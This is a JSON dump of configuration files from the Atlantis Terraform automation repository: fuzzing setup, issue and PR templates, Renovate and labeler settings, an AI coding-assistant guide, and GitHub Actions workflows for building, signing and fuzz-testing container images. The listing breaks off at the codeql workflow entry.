[
  {
    "path": ".adr-dir",
    "content": "docs/adr\n"
  },
  {
    "path": ".clusterfuzzlite/Dockerfile",
    "content": "FROM gcr.io/oss-fuzz-base/base-builder-go@sha256:b940188f7306d865c69127852ec33e9c821287e6fbebaa9feb89ccc09a6e9b50\nCOPY . $SRC/atlantis\nCOPY .clusterfuzzlite/build.sh $SRC/build.sh\nWORKDIR $SRC/atlantis\n"
  },
  {
    "path": ".clusterfuzzlite/build.sh",
    "content": "#!/bin/bash -eu\n# Copyright 2025 The Atlantis Authors\n# SPDX-License-Identifier: Apache-2.0\n\n# Register go-118-fuzz-build so compile_native_go_fuzzer can inject its harness.\nprintf \"package main\\nimport _ \\\"github.com/AdamKorcz/go-118-fuzz-build/testing\\\"\\n\" > \"$SRC/atlantis/register.go\"\ncd \"$SRC/atlantis\" && go get github.com/AdamKorcz/go-118-fuzz-build/testing && go mod tidy -e\n\ncompile_native_go_fuzzer github.com/runatlantis/atlantis/server/core/config/cfgfuzz FuzzParseRepoCfgData FuzzParseRepoCfgData\n"
  },
  {
    "path": ".codecov.yml",
    "content": "coverage:\n  status:\n    # This disables the GitHub statuses from CodeCov. I found that many of the\n    # PRs I wanted to merge failed the status checks because often some code\n    # isn't testable or testing it isn't the highest priority. The comment with\n    # the code coverage is all that is needed right now.\n    project: off\n    patch: off\n"
  },
  {
    "path": ".dockerignore",
    "content": "*\n!cmd/\n!scripts/download-release.sh\n!server/\n!testdrive/\n!main.go\n!go.mod\n!go.sum\n!docker-entrypoint.sh\n!atlantis\n!.clusterfuzzlite/\n"
  },
  {
    "path": ".editorconfig",
    "content": "root = true\n\n[*]\ncharset = utf-8\nend_of_line = lf\ntrim_trailing_whitespace = true\ninsert_final_newline = true\n\n[*.md]\nindent_style = space\nindent_size = 3\ntrim_trailing_whitespace = false\n"
  },
  {
    "path": ".gitattributes",
    "content": "# Set the default behavior, in case people don't have core.autocrlf set.\n* text=auto eol=lf\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.md",
    "content": "---\nname: Bug Report\nabout: You're experiencing an issue that is different than the documented behavior.\nlabels: bug\n---\n\n<!--- Please keep this note for the community --->\n\n### Community Note\n\n* Please vote on this issue by adding a 👍 [reaction](https://blog.github.com/2016-03-10-add-reactions-to-pull-requests-issues-and-comments/) to the original issue to help the community and maintainers prioritize this request. Searching for pre-existing feature requests helps us consolidate datapoints for identical requirements into a single place, thank you!\n* Please do not leave \"+1\" or other comments that do not add relevant new information or questions, they generate extra noise for issue followers and do not help prioritize the request.\n* If you are interested in working on this issue or have submitted a pull request, please leave a comment.\n\n<!--- Thank you for keeping this note for the community --->\n\n---\n\n<!---\nWhen filing a bug, please include the following headings if possible.\nAny example text in this template can be deleted.\n--->\n\n### Overview of the Issue\n\n<!---\nPlease describe the issue you are having and how you encountered the problem.\n--->\n\n\n### Reproduction Steps\n\n<!--- \nIn order to effectively and quickly resolve the issue, please provide exact steps that allow us the reproduce the problem. If no steps are provided, then it will likely take longer to get the issue resolved.\n--->\n\n\n### Logs\n\n<!---\nProvide log files from Atlantis server\n\nlogs can be retrieved from the deployment or from atlantis comments by adding `--debug` such as `atlantis plan --debug`\n\n<details>\n  <summary>Logs</summary>\n\n```\nlog output\n```\n\n</details>\n--->\n\n\n### Environment details\n\n<!---\nIf not already included, please provide the following:\n\n- Atlantis version:\n- Deployment method: ecs/eks/helm/tf module\n- If not running the latest Atlantis version have you tried to reproduce this issue on the latest version: \n- Atlantis flags:\n\nAtlantis server-side config file:\n\n```yaml\n# config file\n```\n\nRepo `atlantis.yaml` file:\n\n```yaml\n# config file\n```\n\nAny other information you can provide about the environment/deployment (efs/nfs, aws/gcp, k8s/fargate, etc)\n--->\n\n\n### Additional Context\n\n<!---\nAdditional context on the problem. Docs, links to blogs, or other material that lead you to discover this issue or were helpful in troubleshooting the issue. \n\nUse a bulleted list to link to tickets\n--->\n\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature_request.md",
    "content": "---\nname: Feature request\nabout: Propose a concrete new feature\ntitle: ''\nlabels: 'feature'\nassignees: ''\n\n---\n\n<!--- Please keep this note for the community --->\n\n### Community Note\n\n- Please vote on this issue by adding a 👍 [reaction](https://blog.github.com/2016-03-10-add-reactions-to-pull-requests-issues-and-comments/) to the original issue to help the community and maintainers prioritize this request. Searching for pre-existing feature requests helps us consolidate datapoints for identical requirements into a single place, thank you!\n- Please do not leave \"+1\" or other comments that do not add relevant new information or questions, they generate extra noise for issue followers and do not help prioritize the request.\n- If you are interested in working on this issue or have submitted a pull request, please leave a comment.\n\n<!--- Thank you for keeping this note for the community --->\n\n---\n\n- [ ] I'd be willing to implement this feature ([contributing guide](https://github.com/runatlantis/atlantis/blob/main/CONTRIBUTING.md))\n\n**Describe the user story**\n<!--\nA clear and concise description of what workflow is meant to be improved.\nExample: \"As a developer, I often want to do <something>, but I often face <problem>\".\n-->\n\n**Describe the solution you'd like**\n<!--\nA clear and concise description of what you want to happen. Consider that atlantis is used\nby many people, and your particular use case might not make sense to implement in the core.\n-->\n\n**Describe the drawbacks of your solution**\n<!--\nThis section is important not only to identify future issues, but also for us to see whether\nyou thought through your request. When filling it, ask yourself what are the problems we could\nhave maintaining what you propose. How often will it break?\n-->\n\n**Describe alternatives you've considered**\n<!--\nA clear and concise description of any alternative solutions or features you've considered,\nand why you think they wouldn't be good enough.\n-->\n"
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE.md",
    "content": "## what\n\n<!--\n- Describe high-level what changed as a result of these commits (i.e. in plain-english, what do these changes mean?)\n- Use bullet points to be concise and to the point.\n-->\n\n\n## why\n\n<!--\n- Provide the justifications for the changes (e.g. business case). \n- Describe why these changes were made (e.g. why do these commits fix the problem?)\n- Use bullet points to be concise and to the point.\n-->\n\n## tests\n\n<!--\n- [ ] I have tested my changes by ...\n-->\n\n## references\n\n<!--\n- Link to any supporting github issues or helpful documentation to add some context (e.g. stackoverflow). \n- Use `closes #123`, if this PR closes a GitHub issue `#123`\n-->\n\n"
  },
  {
    "path": ".github/cherry-pick-bot.yml",
    "content": "enabled: true\npreservePullRequestTitle: true\n"
  },
  {
    "path": ".github/copilot-instructions.md",
    "content": "# Atlantis - Terraform Pull Request Automation\n\n**What it does:** Self-hosted Go application that listens for Terraform PR webhooks, runs `terraform plan/apply`, and comments results back to PRs.\n\n**Stack:** Go 1.25.4 • 381 Go files • Gorilla Mux • Cobra CLI • Viper config • VitePress docs (Node.js) • Docker deployment\n\n**Key Info:** ~35MB repo, server + CLI app, E2E tests with Playwright, integration tests with Terraform\n\n## Build & Test (Always from repo root)\n\n**Prerequisites:** Go 1.25.4 (from go.mod, not .tool-versions) • Node 20+ & npm 10+ (website) • Docker • Terraform 1.11.1+ (integration tests)\n\n**Build:** `make build-service` → creates `./atlantis` binary (~51MB, 30-60s first run, 10s subsequent). Clean: `make clean`\n\n**Test:** `make test` (unit, ~60s) • `make test-all` (includes integration, ~5min) • `make docker/test-all` (CI environment)\n⚠️ **Known failing test:** `TestNewServer_GitHubUser` in server/server_test.go - pre-existing, ignore it\n\n**Lint/Format:** `make check-fmt` (ALWAYS works) • `make fmt` (auto-format)\n⚠️ **Known issue:** `make lint` and `make check-lint` fail with Go 1.25+ version mismatch. Use `make check-fmt` locally, CI handles linting.\n\n**Mocks:** `make go-generate` (regenerate after interface changes) • `make regen-mocks` (delete & regenerate all)\n\n**Website (VitePress):** `npm install` (required first) • `npm run website:dev` (http://localhost:8080) • `npm run website:build` • `npm run website:lint` • `npm run e2e` (Playwright)\n📁 Docs: `runatlantis.io/docs/*.md` • Config: `runatlantis.io/.vitepress/config.js`\n\n## Architecture\n\n**Structure:** `cmd/` (CLI) • `server/` (main app: controllers, core logic, events, vcs integrations) • `e2e/` (E2E tests) • `runatlantis.io/` (docs) • `scripts/` (build utils)\n\n**Key paths:** `main.go` (entry) • `cmd/server.go` • `server/server.go` (init) • `server/router.go` • `server/controllers/events/events_controller.go` (webhooks)\n\n**Core logic:** `server/core/config/` (parsing), `server/core/runtime/` (Terraform execution), `server/core/terraform/tfclient/` (TF client)\n\n**VCS providers:** `server/events/vcs/{github,gitlab,bitbucketcloud,bitbucketserver,azuredevops,gitea}/`\n\n**Config files:** `.golangci.yml` (lint), `go.mod`, `Makefile`, `Dockerfile`, `docker-compose.yml`, `.pre-commit-config.yaml`\n\n## CI Workflows (.github/workflows/)\n\n**test.yml:** `make test-all` + `make check-fmt` in `ghcr.io/runatlantis/testing-env:latest` • E2E for GitHub/GitLab (skips on forks - no secrets)\n**lint.yml:** golangci-lint via GitHub Action • Path filtered (Go files only)\n**website.yml:** markdownlint → lychee link check → `npm install && npm run website:build` → `npm run e2e` (Playwright)\n**Others:** pr-lint (Conventional Commits), codeql, scorecard, dependency-review\n\n**Replicate CI locally:** `make test-all && make check-fmt` OR use Docker: `docker run --rm -v $(pwd):/atlantis ghcr.io/runatlantis/testing-env:latest sh -c \"cd /atlantis && make test-all\"`\n\n**E2E tests:** Complex setup (ngrok + credentials). CI handles it. Local optional. See `./scripts/e2e.sh` for details.\n\n## Development Workflows\n\n**Before commit:** `make test` → `make check-fmt` → `make go-generate` (if interfaces changed) → `make build-service` (verify)\n\n**VCS provider:** Create `server/events/vcs/<provider>/` → Implement `Client` interface (`server/events/vcs/common/common.go`) → Update `server/server.go`\n\n**Config changes:** Edit `server/core/config/valid/` or `raw/` → Update `server/user_config.go` → Test in `server/core/config/*_test.go`\n\n**Terraform execution:** Modify `server/core/terraform/tfclient/terraform_client.go` or `server/core/runtime/*_step_runner.go` (uses `hashicorp/hc-install`)\n\n## Known Issues\n\n1. **golangci-lint Go 1.25+ incompatibility:** `make lint`/`make check-lint` fail. Use `make check-fmt` locally; CI handles linting.\n2. **TestNewServer_GitHubUser fails:** Pre-existing in main. Ignore it.\n3. **E2E tests skip on forks:** Expected (no secrets). Maintainers run them.\n4. **Website needs npm install first:** Always run `npm install` before `npm run website:*` commands.\n5. **docker-compose needs atlantis.env:** Create file per CONTRIBUTING.md template for local webhook testing.\n\n## Code Style\n\n**Logging:** Use `ctx.Log` • lowercase • quote strings with `%q` • NO colons (reserved for errors) • Levels: debug/info/warn/error\n**Errors:** Lowercase • `fmt.Errorf(\"context: %w\", err)` not `%s` • Describe action, not \"failed to\" • Example: \"running git clone: no executable\"\n**Testing:** Tests in `{package}_test` • Internal: `{file}_internal_test.go` • Use `import . \"github.com/runatlantis/atlantis/testing\"` • `Assert()`, `Equals()`, `Ok()`\n**Commits:** Conventional Commits (`fix:`, `feat:`, etc.) • Sign with `-s` (DCO)\n\n## Pre-PR Checklist\n\n✓ `make test-all` (ignore TestNewServer_GitHubUser) ✓ `make check-fmt` ✓ `make go-generate` (if interfaces changed) ✓ Website builds (docs changes)\n✓ Conventional Commits format ✓ Signed commits (-s) ✓ Tests added ✓ Docs updated\n\n## Quick Commands\n\n**Daily:** `make build-service` • `make test` • `make check-fmt`\n**Pre-commit:** `make test-all` • `make check-fmt`\n**Website:** `npm install` • `npm run website:dev` • `npm run website:lint`\n**Coverage:** `make test-coverage-html`\n**Docker:** `make docker/dev` • `docker-compose up`\n\n---\n\n**Trust these instructions first.** Search codebase only if info is incomplete/incorrect. Validated 2026-01-30 • Go 1.25.4\n"
  },
  {
    "path": ".github/labeler.yml",
    "content": "build:\n- changed-files:\n  - any-glob-to-any-file: 'Dockerfile*'\n\ndependencies:\n- changed-files:\n  - any-glob-to-any-file: 'yarn.lock'\n  - any-glob-to-any-file: 'go.*'\n\ndocs:\n- changed-files:\n  - any-glob-to-any-file: 'runatlantis.io/**/*.md'\n  - any-glob-to-any-file: 'README.md'\n\ngithub-actions:\n- changed-files:\n  - any-glob-to-any-file:\n    - '.github/workflows/*.yml'\n\ngo:\n- changed-files:\n  - any-glob-to-any-file: '**/*.go'\n\nprovider/azuredevops:\n- changed-files:\n  - any-glob-to-any-file: 'server/**/*azuredevops*.go'\n\nprovider/bitbucket:\n- changed-files:\n  - any-glob-to-any-file: 'server/**/*bitbucket*.go'\n  - any-glob-to-any-file: 'server/events/vcs/bitbucketcloud/*.go'\n  - any-glob-to-any-file: 'server/events/vcs/bitbucketserver/*.go'\n\nprovider/github:\n- changed-files:\n  - any-glob-to-any-file: 'server/**/*github*.go'\n\nprovider/gitlab:\n- changed-files:\n  - any-glob-to-any-file: 'server/**/*gitlab*.go'\n\nwebsite:\n- changed-files:\n  - any-glob-to-any-file: 'runatlantis.io/.vitepress/**/*'\n  - any-glob-to-any-file: 'package.json'\n  - any-glob-to-any-file: 'package-lock.json'\n\nblog:\n- changed-files:\n  - any-glob-to-any-file: 'runatlantis.io/blog/**'\n"
  },
  {
    "path": ".github/release.yml",
    "content": "changelog:\n  exclude:\n    labels:\n      - ignore-for-release\n      - github-actions\n    authors:\n      - octocat\n  categories:\n    - title: Breaking Changes 🛠\n      labels:\n        - Semver-Major\n        - breaking-change\n    - title: Exciting New Features 🎉\n      labels:\n        - Semver-Minor\n        - enhancement\n        - feature\n    - title: Provider AzureDevops\n      labels:\n        - provider/azuredevops\n    - title: Provider Bitbucket\n      labels:\n        - provider/bitbucket\n    - title: Provider GitHub\n      labels:\n        - provider/github\n    - title: Provider GitLab\n      labels:\n        - provider/gitlab\n    - title: Bug fixes 🐛\n      labels:\n        - bug\n    - title: Security changes\n      labels:\n        - security\n    - title: Documentation\n      labels:\n        - docs\n        - website\n    - title: Dependencies\n      labels:\n        - dependencies\n    - title: Other Changes 🔄\n      labels:\n        - \"*\"\n"
  },
  {
    "path": ".github/renovate.json5",
    "content": "{\n  extends: [\n    'config:best-practices',\n    ':separateMultipleMajorReleases',\n    'schedule:daily',\n    'security:openssf-scorecard',\n  ],\n  commitMessageSuffix: ' in {{packageFile}}',\n  dependencyDashboardAutoclose: true,\n  automerge: true,\n  baseBranchPatterns: [\n    'main',\n    '/^release-.*/',\n  ],\n  platformAutomerge: true,\n  labels: [\n    'dependencies',\n  ],\n  postUpdateOptions: [\n    'gomodTidy',\n    'gomodUpdateImportPaths',\n    'npmDedupe',\n  ],\n  prHourlyLimit: 1,\n  minimumReleaseAge: '5 days',\n  osvVulnerabilityAlerts: true,\n  vulnerabilityAlerts: {\n    enabled: true,\n    labels: [\n      'security',\n    ],\n  },\n  packageRules: [\n    // enable release branches for security updates\n    {\n      matchBaseBranches: [\n        '/^release-.*/',\n      ],\n      matchUpdateTypes: [\n        'security',\n      ],\n      enabled: true,\n    },\n    // disable release branches for anything else\n    {\n      matchBaseBranches: [\n        '/^release-.*/',\n      ],\n      enabled: false,\n    },\n    {\n      matchBaseBranches: [\n        'main',\n      ],\n      matchFileNames: [\n        'package.json',\n        'package-lock.json',\n      ],\n    },\n    {\n      matchFileNames: [\n        'testing/**',\n      ],\n      additionalBranchPrefix: '{{packageFileDir}}-',\n      groupName: 'conftest-testing',\n      matchPackageNames: [\n        '/conftest/',\n      ],\n    },\n    {\n      ignorePaths: [\n        'testing/**',\n      ],\n      groupName: 'github-',\n      matchPackageNames: [\n        '/github-actions/',\n      ],\n    },\n    {\n      ignorePaths: [\n        'server/controllers/events/testdata/**/*.tf',\n      ],\n      matchDatasources: [\n        'terraform',\n      ],\n    },\n    {\n      matchDatasources: [\n        'docker',\n      ],\n      matchPackageNames: [\n        'node',\n        'cimg/node',\n      ],\n      versioning: 'node',\n    },\n    {\n      matchPackageNames: [\n        'go',\n        'golang',\n      ],\n      versioning: 'go',\n      groupName: 'go',\n    },\n    {\n      \"matchFileNames\": [\"Dockerfile\"],\n      \"matchPackageNames\": [\"golang\"],\n      \"versioning\": \"docker\",\n      \"allowedVersions\": \"/-alpine$/\"\n    },\n    // Include testdata files for go-github updates\n    {\n      \"matchPackageNames\": [\n        \"github.com/google/go-github\"\n      ],\n      \"matchDatasources\": [\n        \"go\"\n      ],\n      \"ignorePaths\": []\n    }\n  ],\n  customManagers: [\n    {\n      customType: 'regex',\n      managerFilePatterns: [\n        '/(^|/)Dockerfile$/',\n        '/(^|/)Dockerfile\\\\.[^/]*$/',\n      ],\n      matchStrings: [\n        'renovate: datasource=(?<datasource>.*?) depName=(?<depName>.*?)( versioning=(?<versioning>.*?))?\\\\s(ARG|ENV) .*?_VERSION=(?<currentValue>.*)\\\\s',\n      ],\n      versioningTemplate: '{{#if versioning}}{{{versioning}}}{{else}}semver{{/if}}',\n      extractVersionTemplate: '^v(?<version>\\\\d+\\\\.\\\\d+\\\\.\\\\d+)',\n    },\n    {\n      customType: 'regex',\n      managerFilePatterns: [\n        '/.*go$/',\n      ],\n      matchStrings: [\n        '\\\\sconst .*Version = \"(?<currentValue>.*)\"\\\\s// renovate: datasource=(?<datasource>.*?) depName=(?<depName>.*?)( versioning=(?<versioning>.*?))?\\\\s',\n      ],\n      versioningTemplate: '{{#if versioning}}{{{versioning}}}{{else}}semver{{/if}}',\n      extractVersionTemplate: '^v(?<version>\\\\d+\\\\.\\\\d+\\\\.\\\\d+)',\n    },\n    {\n      customType: 'regex',\n      managerFilePatterns: [\n        '/^\\\\.github/workflows/[^/]+\\\\.ya?ml$/',\n        '/Makefile$/',\n      ],\n      matchStrings: [\n        'renovate: datasource=(?<datasource>.*?) depName=(?<depName>.*?)( versioning=(?<versioning>.*?))?\\\\s.*?_VERSION: (?<currentValue>.*)\\\\s',\n      ],\n      versioningTemplate: '{{#if versioning}}{{{versioning}}}{{else}}semver{{/if}}',\n      extractVersionTemplate: '^v(?<version>\\\\d+\\\\.\\\\d+\\\\.\\\\d+)',\n    },\n  ],\n}\n"
  },
  {
    "path": ".github/styles/Atlantis/ProductTerms.yml",
    "content": "extends: substitution\nmessage: \"Use '%s' instead of '%s'.\"\nlevel: error\nignorecase: false\nswap:\n  'Github': 'GitHub'\n  'Gitlab': 'GitLab'\n"
  },
  {
    "path": ".github/workflows/atlantis-image.yml",
    "content": "name: atlantis-image\n\non:\n  push:\n    branches:\n      - 'main'\n      - 'release-**'\n    tags:\n      - v*.*.*\n  pull_request:\n    branches:\n      - 'main'\n      - 'release-**'\n    types:\n      - opened\n      - reopened\n      - synchronize\n      - ready_for_review\n  workflow_dispatch:\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }}\n  cancel-in-progress: true\n\npermissions:\n  contents: read\n\njobs:\n  changes:\n    permissions:\n      contents: read  # for dorny/paths-filter to fetch a list of changed files\n      pull-requests: read  # for dorny/paths-filter to read pull requests\n    outputs:\n      should-run-build: ${{ steps.changes.outputs.src == 'true' || startsWith(github.ref, 'refs/tags/') }}\n    if: github.event.pull_request.draft == false\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4\n      - uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3\n        id: changes\n        with:\n          filters: |\n            src:\n              - 'Dockerfile'\n              - 'docker-entrypoint.sh'\n              - '.github/workflows/atlantis-image.yml'\n              - '**.go'\n              - 'go.*'\n\n  build:\n    needs: [changes]\n    if: needs.changes.outputs.should-run-build == 'true'\n    name: Build Image\n    permissions:\n      contents: read\n      id-token: write\n      packages: write\n      attestations: write\n    strategy:\n      matrix:\n        image_type: [alpine, debian]\n    runs-on: ubuntu-24.04\n    env:\n      # Set docker repo to either the fork or the main repo where the branch exists\n      DOCKER_REPO: ghcr.io/${{ github.repository }}\n      # Push if not a pull request and references the main branch\n      PUSH: ${{ github.event_name != 'pull_request' && (github.ref == 'refs/heads/main' || startsWith(github.ref, 'refs/tags/')) }}\n\n    steps:\n    - name: Harden Runner\n      uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n      with:\n        egress-policy: audit\n\n    - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4\n\n    # Lint the Dockerfile first before setting anything up\n    - name: Lint Dockerfile\n      uses: hadolint/hadolint-action@54c9adbab1582c2ef04b2016b760714a4bfde3cf # v3.1.0\n      with:\n        dockerfile: \"Dockerfile\"\n\n    - name: Set up Go\n      uses: actions/setup-go@40f1582b2485089dde7abd97c1529aa768e1baff # v5.6.0\n      with:\n        go-version-file: \"go.mod\"\n\n    - name: Set up QEMU\n      uses: docker/setup-qemu-action@c7c53464625b32c7a7e944ae62b3e17d2b600130 # v3\n      with:\n        image: tonistiigi/binfmt:qemu-v10.2.1@sha256:d3b963f787999e6c0219a48dba02978769286ff61a5f4d26245cb6a6e5567ea3\n        platforms: arm64,arm\n\n    - name: Set up Docker Buildx\n      uses: docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f # v3\n\n    - name: \"Install cosign\"\n      uses: sigstore/cosign-installer@faadad0cce49287aee09b3a48701e75088a2c6ad # v4.0.0\n      if: env.PUSH == 'true' && github.event_name != 'pull_request'\n\n    # release version is the name of the tag i.e. v0.10.0\n    # release version also has the image type appended i.e. v0.10.0-alpine\n    # release tag is either pre-release or latest i.e. latest\n    # release tag also has the image type appended i.e. latest-alpine\n    # if it's v0.10.0 and alpine, it will do v0.10.0, v0.10.0-alpine, latest, latest-alpine\n    # if it's v0.10.0 and debian, it will do v0.10.0-debian, latest-debian\n    - name: Docker meta\n      id: meta\n      uses: docker/metadata-action@c299e40c65443455700f0fdfc63efafe5b349051 # v5\n      env:\n        SUFFIX: ${{ format('-{0}', matrix.image_type) }}\n      with:\n        images: |\n          ${{ env.DOCKER_REPO }}\n        labels: |\n          org.opencontainers.image.authors=\"@runatlantis Github Org\"\n          org.opencontainers.image.licenses=Apache-2.0\n        tags: |\n          # semver\n          type=semver,pattern={{version}},prefix=v,suffix=${{ env.SUFFIX }}\n          type=semver,pattern={{version}},prefix=v,enable=${{ matrix.image_type == 'alpine' }}\n          type=semver,pattern={{major}}.{{minor}},prefix=v,suffix=${{ env.SUFFIX }}\n          # dev\n          type=raw,event=push,value=dev,enable={{is_default_branch}},suffix=${{ env.SUFFIX }}\n          type=raw,event=push,value=dev,enable={{is_default_branch}},suffix=${{ env.SUFFIX }}-{{ sha }}\n          type=raw,event=push,value=dev,enable=${{ github.ref == format('refs/heads/{0}', 'main') && matrix.image_type == 'alpine' }},suffix=\n          # prerelease\n          type=raw,event=tag,value=prerelease-latest,enable=${{ startsWith(github.ref, 'refs/tags/') && contains(github.ref, 'pre') && matrix.image_type == 'alpine' }},suffix=\n          type=raw,event=tag,value=prerelease-latest,enable=${{ startsWith(github.ref, 'refs/tags/') && contains(github.ref, 'pre') }},suffix=${{ env.SUFFIX }}\n          # latest\n          type=raw,event=tag,value=latest,enable=${{ startsWith(github.ref, 'refs/tags/') && !contains(github.ref, 'pre') && matrix.image_type == 'alpine' }},suffix=\n          type=raw,event=tag,value=latest,enable=${{ startsWith(github.ref, 'refs/tags/') && !contains(github.ref, 'pre') }},suffix=${{ env.SUFFIX }}\n          # pr\n          type=ref,event=pr,suffix=${{ env.SUFFIX }}\n        flavor: |\n          # This is disabled here so we can use the raw form above\n          latest=false\n          # Suffix is not used here since there's no way to disable it above\n\n    - name: Login to Packages Container registry\n      uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3\n      with:\n        registry: ghcr.io\n        username: ${{ github.actor }}\n        password: ${{ secrets.GITHUB_TOKEN }}\n\n    # Publish release to container registry\n    - name: Populate release version\n      if: contains(fromJson('[\"push\", \"pull_request\"]'), github.event_name)\n      run: echo \"RELEASE_VERSION=${{ startsWith(github.ref, 'refs/tags/') && '${GITHUB_REF#refs/*/}' || 'dev' }}\" >> $GITHUB_ENV\n\n    - name: \"Build ${{ env.PUSH == 'true' && 'and push' || '' }} ${{ env.DOCKER_REPO }} image\"\n      id: build\n      if: contains(fromJson('[\"push\", \"pull_request\"]'), github.event_name)\n      uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6\n      with:\n        cache-from: type=gha\n        cache-to: type=gha,mode=max\n        context: .\n        build-args: |\n          ATLANTIS_BASE_TAG_TYPE=${{ matrix.image_type }}\n          ATLANTIS_VERSION=${{ env.RELEASE_VERSION }}\n          ATLANTIS_COMMIT=${{ fromJSON(steps.meta.outputs.json).labels['org.opencontainers.image.revision'] }}\n          ATLANTIS_DATE=${{ fromJSON(steps.meta.outputs.json).labels['org.opencontainers.image.created'] }}\n        platforms: linux/arm64/v8, linux/amd64, linux/arm/v7\n        push: ${{ env.PUSH }}\n        tags: ${{ steps.meta.outputs.tags }}\n        target: ${{ matrix.image_type }}\n        labels: ${{ steps.meta.outputs.labels }}\n        outputs: type=image,name=target,annotation-index.org.opencontainers.image.description=${{ fromJSON(steps.meta.outputs.json).labels['org.opencontainers.image.description'] }}\n\n    - name: \"Create Image Attestation\"\n      if: env.PUSH == 'true' && github.event_name != 'pull_request'\n      uses: actions/attest-build-provenance@e8998f949152b193b063cb0ec769d69d929409be # v2.4.0\n      with:\n        subject-digest: ${{ steps.build.outputs.digest }}\n        subject-name: ghcr.io/${{ github.repository }}\n        push-to-registry: true\n\n    - name: \"Sign images with environment annotations\"\n      # no key needed, we're using the GitHub OIDC flow\n      if: env.PUSH == 'true' && github.event_name != 'pull_request'\n      run: |\n        # Sign dev tags, version tags, and latest tags\n        echo \"${TAGS}\" | xargs -I {} cosign sign \\\n          --yes \\\n          -a \"actor=${ACTOR}\" \\\n          -a \"ref_name=${REF_NAME}\" \\\n          -a \"ref=${SHA}\" \\\n          {}@${DIGEST}\n      env:\n        TAGS: ${{ steps.meta.outputs.tags }}\n        DIGEST: ${{ steps.build.outputs.digest }}\n        ACTOR: ${{ github.actor }}\n        REF_NAME: ${{ github.ref_name }}\n        SHA: ${{ github.sha }}\n\n  test:\n    needs: [changes]\n    if: needs.changes.outputs.should-run-build == 'true'\n    name: Test Image With Goss\n    runs-on: ubuntu-24.04\n    permissions:\n      contents: read\n    strategy:\n      matrix:\n        image_type: [alpine, debian]\n        platform: [linux/arm64/v8, linux/amd64, linux/arm/v7]\n    env:\n      # Set docker repo to either the fork or the main repo where the branch exists\n      DOCKER_REPO: ghcr.io/${{ github.repository }}\n\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4\n      - name: Set up Docker Buildx\n        uses: docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f # v3\n\n      - name: \"Build and load into Docker\"\n        if: contains(fromJson('[\"push\", \"pull_request\"]'), github.event_name)\n        uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6\n        with:\n          cache-from: type=gha\n          cache-to: type=gha,mode=max\n          context: .\n          build-args: |\n            ATLANTIS_BASE_TAG_TYPE=${{ matrix.image_type }}\n          push: false\n          load: true\n          tags: \"${{ env.DOCKER_REPO }}:goss-test\"\n          target: ${{ matrix.image_type }}\n\n      - name: \"Setup Goss\"\n        uses: e1himself/goss-installation-action@3b8340a7c772f8064444f48b0df4c2a80d2e50fc # v1.3.0\n        with:\n          version: \"v0.4.7\"\n\n      - name: Execute Goss tests\n        run: |\n          dgoss run --rm ${{ env.DOCKER_REPO }}:goss-test bash -c 'while true; do sleep 1; done;'\n\n  skip-build:\n    needs: [changes]\n    if: needs.changes.outputs.should-run-build == 'false'\n    name: Build Image\n    permissions:\n      contents: read\n    strategy:\n      matrix:\n        image_type: [alpine, debian]\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - run: 'echo \"No build required\"'\n\n"
  },
  {
    "path": ".github/workflows/clusterfuzzlite.yml",
    "content": "name: ClusterFuzzLite\n\non:\n  pull_request:\n    types:\n      - opened\n      - reopened\n      - synchronize\n      - ready_for_review\n    branches:\n      - main\n      - 'release-**'\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }}\n  cancel-in-progress: true\n\npermissions: read-all\n\njobs:\n  Fuzzing:\n    if: github.event.pull_request.draft == false\n    runs-on: ubuntu-latest\n    permissions:\n      security-events: write\n    strategy:\n      fail-fast: false\n      matrix:\n        sanitizer:\n          - address\n          # Override this with the sanitizers you want.\n          # - undefined\n          # - memory\n    steps:\n      - name: Harden Runner\n        uses: step-security/harden-runner@5ef0c079ce82195b2a36a210272d6b661572d83e # v2.14.2\n        with:\n          egress-policy: audit\n\n      - name: Build Fuzzers (${{ matrix.sanitizer }})\n        id: build\n        uses: google/clusterfuzzlite/actions/build_fuzzers@884713a6c30a92e5e8544c39945cd7cb630abcd1 # v1\n        with:\n          language: go\n          sanitizer: ${{ matrix.sanitizer }}\n          github-token: ${{ secrets.GITHUB_TOKEN }}\n\n      - name: Run Fuzzers (${{ matrix.sanitizer }})\n        id: run\n        uses: google/clusterfuzzlite/actions/run_fuzzers@884713a6c30a92e5e8544c39945cd7cb630abcd1 # v1\n        with:\n          github-token: ${{ secrets.GITHUB_TOKEN }}\n          fuzz-seconds: 600\n          mode: 'code-change'\n          sanitizer: ${{ matrix.sanitizer }}\n          language: go\n          output-sarif: true\n\n      - name: Upload Sarif\n        if: steps.run.outputs.sarif-path != ''\n        uses: github/codeql-action/upload-sarif@89a39a4e59826350b863aa6b6252a07ad50cf83e # v4.32.4\n        with:\n          sarif_file: ${{ steps.run.outputs.sarif-path }}\n"
  },
  {
    "path": ".github/workflows/codeql.yml",
